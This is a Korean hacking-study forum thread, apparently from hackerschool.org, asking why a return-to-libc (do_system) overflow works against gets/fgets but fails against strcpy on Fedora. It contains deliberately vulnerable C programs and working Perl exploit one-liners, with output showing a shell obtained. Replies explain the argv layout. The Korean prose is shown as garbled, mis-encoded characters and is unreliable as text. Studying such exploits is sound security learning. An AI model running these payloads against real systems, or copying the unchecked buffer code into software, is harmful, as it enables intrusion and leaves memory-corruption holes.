¸®´ª½º

 3916, 1/196 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   kumi123
   do_system ±Ã±ÝÇÑ °ÍÀÌ ÀÕ½À´Ï´Ù.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=4329 [º¹»ç]


[dark_eyes@Fedora_1stFloor ~]$ cat a.c
#include <stdio.h>

int main(int argc, char* argv[])
{
        char buf[256];
        fgets(buf, 300, stdin);


        printf("%s \n", buf);

        return 0;
}

[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "A"x268, "\x84\x07\x75\x00"';cat)| ./a

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA„u

id
uid=502(dark_eyes) gid=502(dark_eyes) groups=502(dark_eyes) context=user_u:system_r:unconfined_t


do_system rtl ¼º°ø ( + gets µµ )


ÇÏÁö¸¸,


[dark_eyes@Fedora_1stFloor ~]$ cat b.c
#include <stdio.h>
#include "dumpcode.h"
int main(int argc, char* argv[])
{
        char buf[256];

        strcpy(buf, argv[1]);

        printf("%s \n", buf);

        dumpcode(buf, 300);
        return 0;
}

strcpyÀÇ °æ¿ì


./b `perl -e 'print "A"x268, "\x84\x07\x75\x00"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA„u
./b: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA„u: File name too long


gets, fgets --> do_system rtl ¼º°ø

strcpy, strncpy --> ½ÇÆÐ

ÀÌÀ¯°¡ ¹»±î¿ä??



  Hit : 4189     Date : 2013/08/22 04:00



    
chlxogns92 Á¦ ȯ°æ¿¡¼± µÑ´Ù exploitÀÌ ¾ÈµÇ³×¿ä..
±Ùµ¥, ¿ø·¡ do_systemÀÇ ÀÎÀÚ´Â eax·Î µé¾î°¡´Â°Å´Ï±î, mainÇÔ¼ö¸¦ return 0À¸·Î Á¾·áÇϸé exploitÀÌ ¾ÈµÇ¾ß Á¤»ó¾Æ´Ñ°¡¿ä?
2013/08/23  
blueh4g Àû¾îÁֽŠ±Û¿¡ ´äÀÌ Àִ°Ű°¾Æ¿ä ^^; filename too long 2013/08/23  
kumi123 - chlxogns92 Æäµµ¶ó3¸¸ µÇ´õ±º¿ä.. ·¹µåÇÞ9 ~ Æäµµ¶ó2 (x) Æäµµ¶ó4 (x) ÇöÀç±îÁö´Â ÀÌ·¸½À´Ï´Ù. 2013/08/26  
kumi123 - blueh4g strpcyÀÇ °æ¿ì¿¡´Â, main¿¡ ebp ret argc argv ±¸Á¶¿¡¼­ do_systemÀÌ argv¸¦ ÂüÁ¶ Çϴ°űº¿ä..
gets() °è¿­Àº, ÀӽùöÆÛ¿¡ ÆÄÀÏÀ» ÀúÀåÇß´Ù°¡ º¹»ç¸¦ ÇÏ´Ï, argv ÀÚ¸®¿¡, ÆÄÀϸíÀÌ Âª¾ÆÁö´Â ±º¿ä.
¾Ë°í³ª¸é ÀÌ·¸°Ô °£´ÜÇÑ ÀÌÀ¯µ¥ ¤Ð¤Ð, °¨»çÇÕ´Ï´Ù. ^^ ÁÁÀº°Å ¶Ç ¹è¿ì°í °¡³×¿ä..
2013/08/26